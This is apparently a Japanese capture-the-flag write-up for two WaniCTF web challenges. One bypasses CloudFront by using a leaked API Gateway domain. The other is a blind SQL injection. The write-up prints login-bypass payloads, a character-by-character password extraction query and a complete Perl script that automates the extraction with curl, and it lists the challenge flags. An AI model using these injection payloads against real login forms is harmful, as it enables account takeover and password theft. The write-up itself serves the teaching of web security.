FLAG{y0u_4r3_x55-60d_c75a4c80cf07}

CloudFront Basic Auth

問題exceptionのものに似たWebページのURLと、そこで動いていると考えられるPythonのソースコードhello.py
さらにテキストファイルtemplate.yamlが与えられた。

template.yamlを読むと、

# "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用

とのことである。

問題exceptionと同様にリクエストの「編集して再送信」で例外を発生させ、得られたデータを見ると、
ここで使えそうなドメイン名が書かれていた。
そこで、それを利用してこの/Prod/adminのURLにWebブラウザからアクセスすることで、flagが得られた。

FLAG{ap1_g4teway_acc3ss_con7rol}

watch animal

WebページのURLと、そこで動いているプログラムの情報と考えられるファイル群が与えられた。
目的は、指定のメアドの人のパスワード(=flag)を求めることである。

php/html/db.phpを見ると、

$r = $db->query("SELECT * FROM users WHERE email = '" . $email . "' AND password = '" . $password . "'");

という行があり、入力データをノーガードでSQL文に埋め込んでいる。
例えば、Email addressをaaa、Passwordをaaa' or '1'='1とすることで、ログインに成功する。

Email addressとPasswordとして指定できる文字数には制限があるが、Passwordを

' or email='wanictf21spring@gmail.com' and ASCII(SUBSTRING(password,1,1)) < 128 or '1'='

というような形式にすることで、ログインが成功するか否かによって、
文字数を増やさずにpasswordの指定の位置の文字の情報を得ることができる。
ログインに成功したかどうかは、レスポンスの長さによって簡易判定することができる。

attack.pl
attack.pl
#!/usr/bin/perl

use strict;
use warnings;

# is $pos-th character (1-origin) $q or less?
sub check {
	my ($pos, $q) = @_;
	my $req = "curl -k -s -X POST -F \"email=a\" -F \"password=' or email='wanictf21spring\@gmail.com' and ASCII(SUBSTRING(password,$pos,1)) <= $q or '1'='\" https://watch.web.wanictf.org/";
	open(CURL, "$req |") or die("curl error\n");
	my $res = "";
	while (<CURL>) { $res .= $_; }
	return length($res) > 3000;
}

my $answer = "";
my $pos = 1;

for (;;) {
	my $no = 0;
	my $yes = 255;
	while ($no + 1 < $yes) {
		my $m = $no + (($yes - $no) >> 1);
		if (&check($pos, $m)) {
			$yes = $m;
		} else {
			$no = $m;
		}
	}
	my $ans = chr($yes);
	warn "$pos : $ans\n";
	$answer .= $ans;
	if ($ans eq "}") { last; }
	$pos++;
}

print "$answer\n";
FLAG{bl1ndSQLi}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?